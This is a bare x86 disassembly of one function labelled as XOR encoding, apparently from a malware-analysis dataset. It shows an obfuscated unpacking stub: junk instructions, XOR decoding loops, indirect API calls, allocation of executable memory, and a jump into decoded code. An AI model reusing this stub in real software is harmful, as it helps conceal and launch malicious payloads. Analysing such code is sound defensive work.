Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc88470d4
add esi, esi
add esi, 0x272a949b
popal
not esi
sub ecx, 0x2095b85f
and ecx, ecx
mov esi, 0
mov ebx, edx
sub ecx, 0xf5fe5467
mov ecx, eax
mov edi, ebx
sub eax, ecx
mov ecx, 0x5ab3ceeb
mov ecx, 0x3a96baf
mov edx, edi
add eax, eax
and eax, ecx
inc ecx
inc esi
mov ecx, eax
sub ecx, 0x71e6b11a
inc eax
cmp esi, 0x1009fbf
jne 0xa789ca
add eax, 1
add eax, eax
mov ecx, eax
and esi, esi
or ecx, esi
mov edi, 0xa78796
or ecx, ebx
dec edx
inc edx
mov esi, 0xa7898a
add ecx, 0x6a18a2cb
add ecx, 0xc19c01ed
or edx, ebx
mov eax, dword [edi]
add edx, ebx
mov ebx, 0x634a91d8
and eax, 0xff
not ebx
mov ecx, ebx
xor dword [esi], eax
add edx, edx
or edx, ecx
mov edx, 0x5797fe14
inc esi
mov ecx, 0x2f21b24f
dec edx
inc edi
add edx, 1
mov edx, ebx
cmp esi, entry0
jl 0xa78a29
dec edx
inc ebx
add ebx, 0x7d7d0fbe
or edx, ecx
sub edx, 0xfe5779ee
mov edx, 0x73338ac4
sub ebx, 1
sub ebx, esi
mov edx, 0xa7898e
mov ebx, esi
mov ecx, 0xf93ca6d7
add ecx, 0x553beece
mov edx, dword [edx]
and ebx, ebx
sub esi, 0xfd767555
mov edx, dword [edx]
add ecx, ebx
and edi, esi
add ecx, 0xc5ef8261
push edx
add ecx, edi
not ebx
sub ecx, 0xf3ed3e46
mov edx, 0xa7898a
mov edi, 0xbc551368
dec edi
mov edx, dword [edx]
and edi, esi
mov ecx, esi
inc ebx
mov edx, dword [edx]
inc esi
add esi, esi
not ecx
push 0xa78992
or ecx, ecx
mov ebx, 0xc61ae9b
call edx
sub ebx, 0xd56c04e2
add ebx, 0x672d94ad
dec esi
pop edx
add edi, 0x73be6822
mov edi, ebx
sub esp, 4
mov dword [esp], 0xa7899f
sub ebx, ecx
sub ebx, esi
push eax
sub ebx, 0xea290308
mov ecx, 0x9e41eeb3
sub edi, 0x66affec5
call edx
add ebx, ecx
mov ecx, esi
sub edi, ebx
push 0x40
add ecx, ebx
inc ebx
push 0x3000
sub ebx, 0xe6816c1b
and esi, edi
push 0x200007bf
inc esi
and ebx, ebx
push 0
and ecx, edi
sub ebx, 0xe821e567
dec ebx
call eax
and esi, ebx
dec ebx
inc ecx
add eax, 0x20000708
mov esi, 0xeaed86de
or ecx, ecx
mov ecx, edi
mov edx, 0xffdc9f6e
and edi, ecx
mov ecx, 0x4437cdd5
mov dword [eax], edx
mov esi, ebx
mov esi, 0x317dd90e
and ebx, esi
mov edx, dword [eax]
add esi, 0xf253cb7d
sub ecx, 0xc3420430
cmp edx, 0xffdc9f6e
je 0xa78b8c
mov eax, 0
mov edx, dword [eax]
sub ecx, esi
inc ebx
dec esi
not ebx
sub edi, 0xdb686ce7
mov edi, 0x58cb5a32
mov esi, 0xffe7708d
or ecx, esi
mov edx, section..reltc
add esi, esi
add esi, 0x17fc331
add esi, esi
mov eax, 0xa78795
mov esi, ecx
inc esi
mov edi, 0
and ecx, ecx
sub esi, 0xc394b66b
mov ebx, 0xa78796
sub ecx, 0x83bc92b3
add ecx, ecx
not ecx
lea ebx, [ebx + edi]
sub esi, 0x9b7b02c6
sub esi, 0xca9ac377
sub esi, ecx
mov ebx, dword [ebx]
mov ecx, 0xd9496e38
add esi, 1
add esi, 0x7a478221
and ebx, 0xff
sub ecx, 0x3c5b2b3b
mov esi, ecx
add edi, 1
dec ecx
sub esi, 1
cmp edi, 0x1f4
jne 0xa78c23
mov edi, 0
dec ecx
not ecx
mov esi, 0x100a740
sub ecx, 0x1bae347a
sub ecx, 0xcb3babf2
sub esi, ecx
xor dword [edx], ebx
and esi, esi
not esi
dec ecx
add edx, 2
sub ecx, 0xa177c7c1
sub ecx, 0x997fc42b
inc ecx
cmp edx, eax
jl 0xa78bc8
mov esi, ecx
not ecx
or esi, esi
and esi, esi
sub ecx, esi
mov ecx, section..reltc
mov edi, 0xd0c6e158
not edx
mov eax, section..reltc
add edi, 0x2d15215b
sub edx, 0x31ec5b8c
mov esi, 0xa78795
sub edx, edi
dec edi
or edx, edx
mov ebx, 0
mov edx, 0x9b137041
inc edi
mov bl, byte [eax]
add edi, edx
add edi, 0xc18d440e
inc edx
mov byte [ecx], bl
inc edi
mov edx, edi
dec edi
add ecx, 1
add edx, edx
mov edi, edx
and edi, edx
add eax, 2
sub edx, edi
add edi, 1
mov edi, edx
cmp eax, esi
jle 0xa78c97
sub edi, 0x6c210400
or edi, edi
inc edi
add esi, ecx
and ecx, ecx
push 0x8dc6a0
and esi, ecx
mov esi, ecx
ret